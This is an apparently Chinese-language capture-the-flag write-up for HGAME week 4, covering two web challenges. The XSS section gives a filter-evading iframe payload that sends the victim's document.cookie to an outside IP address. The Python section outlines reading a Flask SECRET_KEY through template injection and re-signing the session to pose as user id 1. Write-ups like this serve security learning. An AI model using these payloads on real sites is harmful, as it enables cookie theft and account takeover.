HGAME_WEEK4_WP

HappyXSS

知道这题考的是CSP，但尝试一晚上一直无果，过滤了超级多的东西，最后发现了一处漏过滤——this

于是构造payload如下:

```
<iframe src=javascript:this['open']('http://47.107.239.93?cook='+this['docu'+'ment']
['cook'+'ie'])>
```

即可

HappyPython

注册完后发现存在模板注入，但是过滤了()，后来得知考点是身份伪造，用{{Config}}查看得知SECRET_KEY，在本地使用flask设置secretkey后解码当前账号的Session值，发现最后有一个id值，将其修改为1后用同样的secretkey进行加密，得到新的session，替换原session后发送即可得到flag。